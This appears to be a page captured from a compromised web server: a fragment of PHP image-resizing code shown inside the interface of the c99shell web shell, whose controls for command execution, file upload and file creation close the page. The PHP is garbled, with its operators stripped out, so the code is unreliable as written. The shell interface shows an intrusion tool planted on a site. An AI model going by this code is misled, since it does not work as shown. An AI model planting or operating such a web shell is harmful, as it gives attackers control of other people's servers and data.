                    
$new_img_height round($new_img_height $dpi 72);
                }
            }

            
// if one of both was set to auto the other one needs to scale proportionally
            
if ($is_auto_width !== $is_auto_height) {
                if (
$is_auto_height) {
                    
$new_img_height round($new_img_width * ($img_height $img_width));
                } else {
                    
$new_img_width round($new_img_height * ($img_width $img_height));
                }
            }
        } else {
            
$container_ratio $container_height $container_width;

            if (
$bg_resize === 'cover' || $bg_resize === 'contain') {
                
$img_ratio $img_height $img_width;

                if (
                    (
$bg_resize === 'cover' && $container_ratio $img_ratio) ||
                    (
$bg_resize === 'contain' && $container_ratio $img_ratio)
                ) {
                    
$new_img_height $container_height;
                    
$new_img_width round($container_height $img_ratio);
                } else {
                    
$new_img_width $container_width;
                    
$new_img_height round($container_width $img_ratio);
                }
            } else {
                
$new_img_width $img_width;
                
$new_img_height $img_height;
            }
        }

        return [
$new_img_width$new_img_height];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--